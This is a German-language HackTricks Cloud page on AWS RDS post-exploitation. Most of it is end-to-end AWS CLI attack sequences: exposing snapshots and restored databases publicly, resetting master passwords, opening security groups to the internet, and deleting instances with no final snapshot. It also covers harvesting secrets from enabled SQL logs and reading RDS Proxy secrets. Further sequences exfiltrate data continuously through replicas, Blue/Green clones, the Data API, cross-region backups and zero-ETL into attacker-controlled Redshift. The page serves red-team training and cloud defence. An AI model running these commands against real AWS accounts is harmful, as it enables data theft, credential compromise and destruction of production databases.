AWS - RDS Post Exploitation
Reading time: 22 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
RDS
Für weitere Informationen siehe:
AWS - Relational Database (RDS) Enum
rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance
Wenn der attacker genügend Berechtigungen hat, kann er eine DB öffentlich zugänglich machen, indem er einen Snapshot der DB erstellt und daraus eine öffentlich zugängliche DB wiederherstellt.
aws rds describe-db-instances # Get DB identifier
aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat
# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>
aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# Connect to the new DB after a few mins
rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot
Ein Angreifer mit diesen Berechtigungen könnte einen Snapshot einer DB erstellen und ihn öffentlich verfügbar machen. Anschließend könnte er einfach in seinem eigenen Account eine DB aus diesem Snapshot erstellen.
Wenn der Angreifer nicht über rds:CreateDBSnapshot verfügt, könnte er dennoch andere erstellte Snapshots öffentlich machen.
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
Ein Angreifer mit der Berechtigung rds:DownloadDBLogFilePortion kann Teile der Logdateien einer RDS-Instanz herunterladen. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert werden, könnte der Angreifer diese Informationen potenziell nutzen, um seine Berechtigungen zu eskalieren oder unautorisierte Aktionen durchzuführen.
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
Potenzielle Auswirkungen: Zugriff auf sensible Informationen oder unautorisierte Aktionen mithilfe von leaked credentials.
rds:DeleteDBInstance
Ein Angreifer mit diesen Berechtigungen kann DoS bestehender RDS-Instanzen.
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
Potentielle Auswirkung: Löschen bestehender RDS-Instanzen und möglicher Datenverlust.
rds:StartExportTask
note
TODO: Testen
Ein Angreifer mit dieser Berechtigung kann einen Snapshot einer RDS-Instanz in einen S3-Bucket exportieren. Wenn der Angreifer Kontrolle über den Ziel-S3-Bucket hat, kann er möglicherweise auf sensible Daten im exportierten Snapshot zugreifen.
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
Potential impact: Zugriff auf sensible Daten in dem exportierten Snapshot.
Replikation automatisierter Backups in eine andere Region für unauffälligen Restore (rds:StartDBInstanceAutomatedBackupsReplication)
Missbrauche die Replikation automatischer Backups über Regionen, um die automatischen Backups einer RDS-Instanz stillschweigend in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann dann die wiederhergestellte DB öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des normalen Betriebs auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht überwachen.
Benötigte Berechtigungen (mindestens):
rds:StartDBInstanceAutomatedBackupsReplicationin der Ziel-Regionrds:DescribeDBInstanceAutomatedBackupsin der Ziel-Regionrds:RestoreDBInstanceToPointInTimein der Ziel-Regionrds:ModifyDBInstancein der Ziel-Regionrds:StopDBInstanceAutomatedBackupsReplication(optionale Bereinigung)ec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(um die wiederhergestellte DB zu öffnen)
Auswirkung: Persistenz und data exfiltration durch Wiederherstellung einer Kopie von Produktionsdaten in eine andere Region und öffentliche Freigabe mit von Angreifern kontrollierten Zugangsdaten.
End-to-end CLI (Platzhalter ersetzen)
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
--region <SOURCE_REGION> \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
--output table
# 2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
--source-region <SOURCE_REGION> \
--backup-retention-period 7
# 3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups \
--region <DEST_REGION> \
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
--output table
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
# 4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time \
--region <DEST_REGION> \
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
--target-db-instance-identifier <TARGET_DB_ID> \
--use-latest-restorable-time \
--db-instance-class db.t3.micro
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 5) Make public and reset credentials in DEST
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
--query GroupId --output text)
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
--group-id "$OPEN_SG_ID" \
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
# 5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids "$OPEN_SG_ID" \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 5c) Reset the master password
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--master-user-password '<NEW_STRONG_PASSWORD>' \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text)
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
# 7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
Vollständiges SQL-Logging über DB-Parametergruppen aktivieren und über RDS-Log-APIs exfiltrieren
Missbrauchen Sie rds:ModifyDBParameterGroup zusammen mit den RDS-Log-Download-APIs, um alle von Anwendungen ausgeführten SQL-Anweisungen zu erfassen (keine DB-Engine-Credentials erforderlich). Aktivieren Sie das SQL-Logging der Engine und laden Sie die Logdateien über rds:DescribeDBLogFiles und rds:DownloadDBLogFilePortion (oder die REST-Funktion downloadCompleteLogFile) herunter. Nützlich, um Queries zu sammeln, die Secrets/PII/JWTs enthalten könnten.
Erforderliche Berechtigungen (mindestens):
rds:DescribeDBInstances,rds:DescribeDBLogFiles,rds:DownloadDBLogFilePortionrds:CreateDBParameterGroup,rds:ModifyDBParameterGrouprds:ModifyDBInstance(nur, um eine benutzerdefinierte Parametergruppe anzuhängen, falls die Instanz die Standardgruppe verwendet)rds:RebootDBInstance(für Parameter, die einen Reboot benötigen, z.B. PostgreSQL)
Schritte
- Recon des Ziels und der aktuellen Parametergruppe
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
- Stelle sicher, dass eine benutzerdefinierte DB parameter group angehängt ist (das Default kann nicht bearbeitet werden)
- Wenn die Instance bereits eine benutzerdefinierte Gruppe verwendet, verwende deren Namen im nächsten Schritt.
- Andernfalls erstelle und hänge eine an, die zur engine family passt:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"
aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
- Ausführliches SQL-Logging aktivieren
- MySQL-Engines (sofort / kein Neustart):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
- PostgreSQL engines (Neustart erforderlich):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
- Lass den Workload laufen (oder generiere Queries). Statements werden in die Engine-Datei-Logs geschrieben
- MySQL:
general/mysql-general.log - PostgreSQL:
postgresql.log
- Entdecke und lade die Logs herunter (keine DB creds erforderlich)
aws rds describe-db-log-files --db-instance-identifier <DB>
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
- Offline auf sensible Daten analysieren
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
Beispielbelege (geschwärzt):
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
Aufräumen
- Parameter auf Standardwerte zurücksetzen und bei Bedarf neu starten:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
Auswirkung: Post-exploitation-Datenzugriff durch Erfassen aller Anwendungs-SQL-Anweisungen über AWS APIs (no DB creds), potenziell leaking secrets, JWTs, and PII.
rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance
RDS read replicas missbrauchen, um out-of-band Lesezugriff zu erhalten, ohne die Credentials der primary instance zu berühren. Ein Angreifer kann eine read replica von einer production instance erstellen, das replica's master password zurücksetzen (dies ändert das primary nicht) und die replica optional öffentlich exponieren, um Daten zu exfiltrieren.
Benötigte Berechtigungen (mindestens):
rds:DescribeDBInstancesrds:CreateDBInstanceReadReplicards:ModifyDBInstanceec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(falls öffentlich exponiert)
Auswirkung: Read-only access auf Produktionsdaten über eine replica mit attacker-controlled credentials; geringere Erkennungswahrscheinlichkeit, da das primary unberührt bleibt und die Replikation fortgesetzt wird.
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
Beispielhafte Hinweise (MySQL):
- Replica-DB-Status:
available, Lesereplikation:replicating - Erfolgreiche Verbindung mit neuem Passwort und
@@read_only=1, die den Lesezugriff auf die Replica bestätigt.
rds:CreateBlueGreenDeployment, rds:ModifyDBInstance
RDS Blue/Green missbrauchen, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte green-Umgebung zu klonen. Anschließend die Master-Zugangsdaten der green-Umgebung zurücksetzen, um auf die Daten zuzugreifen, ohne die blue (prod)-Instanz zu berühren. Das ist unauffälliger als die Freigabe von Snapshots und umgeht häufig Monitoring, das sich nur auf die Quelle konzentriert.
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
# Typical green id: <blue>-green-XXXX
# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately
# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text
# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
Auswirkung: Nur-Lesezugriff, jedoch vollständiger Datenzugriff auf eine nahezu Echtzeit-Kopie der Produktionsumgebung, ohne die Produktionsinstanz zu verändern. Nützlich für unauffällige Datenextraktion und Offline-Analyse.
Out-of-band SQL via RDS Data API durch Aktivieren des HTTP-Endpunkts + Zurücksetzen des Master-Passworts
Missbrauche Aurora, um den RDS Data API HTTP-Endpunkt in einem Ziel-Cluster zu aktivieren, das Master-Passwort auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert auf Aurora-Engines, die die Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).
Berechtigungen (mindestens):
- rds:DescribeDBClusters, rds:ModifyDBCluster (oder rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (und rds-data:BatchExecuteStatement falls verwendet)
Auswirkung: Umgehung der Netzwerksegmentierung und Exfiltration von Daten über AWS-APIs ohne direkte VPC-Konnektivität zur DB.
End-to-end-CLI (Beispiel: Aurora MySQL)
# 1) Identify target cluster ARN
REGION=us-east-1
CLUSTER_ID=<target-cluster-id>
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
--db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].DBClusterArn' --output text)
# 2) Enable Data API HTTP endpoint on the cluster
# Either of the following (depending on API/engine support):
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
# or
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--enable-http-endpoint --apply-immediately
# Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].HttpEndpointEnabled' --output text
# 3) Reset master password to attacker-controlled value
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
# Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
[[ "$P" == "None" || "$P" == "null" ]] && break
sleep 10
done
# 4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
--query ARN --output text)
# 5) Prove out-of-band SQL via HTTPS using rds-data
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
--format-records-as JSON
Hinweise:
- Wenn mehrteilige SQL-Anweisungen von rds-data abgelehnt werden, führe separate execute-statement-Aufrufe aus.
- Für Engines, bei denen modify-db-cluster --enable-http-endpoint keine Wirkung hat, verwende rds enable-http-endpoint --resource-arn.
- Stelle sicher, dass die Engine/Version die Data API tatsächlich unterstützt; andernfalls bleibt HttpEndpointEnabled False.
DB-Anmeldeinformationen über RDS Proxy auth secrets erlangen (rds:DescribeDBProxies + secretsmanager:GetSecretValue)
Missbrauche die RDS Proxy-Konfiguration, um das von Secrets Manager verwendete Secret für die Backend-Authentifizierung zu entdecken, und lese dann das Secret aus, um Datenbank-Anmeldeinformationen zu erhalten. Viele Umgebungen gewähren weitreichende secretsmanager:GetSecretValue-Berechtigungen, was dies zu einem low-friction Pivot zu DB-Anmeldeinformationen macht. Verwendet das Secret eine CMK, können falsch bemessene KMS-Berechtigungen möglicherweise auch kms:Decrypt erlauben.
Erforderliche Berechtigungen (mindestens):
rds:DescribeDBProxiessecretsmanager:GetSecretValuefür das referenzierte SecretArn- Optional, wenn das Secret eine CMK verwendet:
kms:Decryptfür diesen Schlüssel
Impact: Sofortige Offenlegung des auf dem Proxy konfigurierten DB-Benutzernamens/-passworts; ermöglicht direkten DB-Zugriff oder weiteres lateral movement.
Schritte
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table
# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
Lab (minimal zum Reproduzieren)
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
Aufräumen (lab)
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
Missbrauche die Aurora PostgreSQL zero‑ETL integration, um Produktionsdaten kontinuierlich in einen Redshift Serverless namespace zu replizieren, den Sie kontrollieren. Mit einer zu großzügigen Redshift resource policy, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora cluster ARN autorisiert, kann ein Angreifer eine nahezu in Echtzeit arbeitende Datenkopie herstellen, ohne DB creds, snapshots oder network exposure.
Benötigte Berechtigungen (mindestens):
rds:CreateIntegration,rds:DescribeIntegrations,rds:DeleteIntegrationredshift:PutResourcePolicy,redshift:DescribeInboundIntegrations,redshift:DescribeIntegrationsredshift-data:ExecuteStatement/GetStatementResult/ListDatabases(to query)rds-data:ExecuteStatement(optional; to seed data if needed)
Getestet in: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Redshift Serverless namespace + workgroup erstellen
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
--query namespace.namespaceArn --output text)
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
--query workgroup.workgroupArn --output text)
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
2) Redshift-Ressourcenrichtlinie konfigurieren, um die Aurora-Quelle zuzulassen
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=<AURORA_CLUSTER_ARN>
cat > rs-rp.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AuthorizeInboundByRedshiftService",
"Effect": "Allow",
"Principal": {"Service": "redshift.amazonaws.com"},
"Action": "redshift:AuthorizeInboundIntegration",
"Resource": "$RS_NS_ARN",
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
},
{
"Sid": "AllowCreateInboundFromAccount",
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
"Action": "redshift:CreateInboundIntegration",
"Resource": "$RS_NS_ARN"
}
]
}
JSON
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
3) Erstelle Aurora PostgreSQL-Cluster (Data API und logische Replikation aktivieren)
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--engine aurora-postgresql --engine-version 16.4 \
--master-username postgres --master-user-password 'InitPwd-1!' \
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
# Serverless v2 instance
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
# Cluster parameter group for zero‑ETL
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
4) Erstelle die zero‑ETL-Integration aus RDS
# Include all tables in the default 'postgres' database
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
--data-filter 'include: postgres.*.*'
# Redshift inbound integration should become ACTIVE
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
5) Replizierte Daten in Redshift materialisieren und abfragen
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "select integration_id from svv_integration" # take the GUID value
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "create database ztl_db from integration '<integration_id>' database postgres"
# List tables replicated
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
Im Test beobachtete Hinweise:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION zeigte integration_id 377a462b-c42c-4f08-937b-77fe75d98211 und state PendingDbConnectState vor der DB-Erstellung.
- Nach CREATE DATABASE FROM INTEGRATION zeigte das Auflisten der Tabellen das Schema ztl und die Tabelle customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
Auswirkung: Kontinuierliche near‑real‑time exfiltration ausgewählter Aurora PostgreSQL-Tabellen in ein vom Angreifer kontrolliertes Redshift Serverless, ohne Verwendung von Datenbank-Anmeldeinformationen, Backups oder Netzwerkzugriff auf das Quell-Cluster.
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud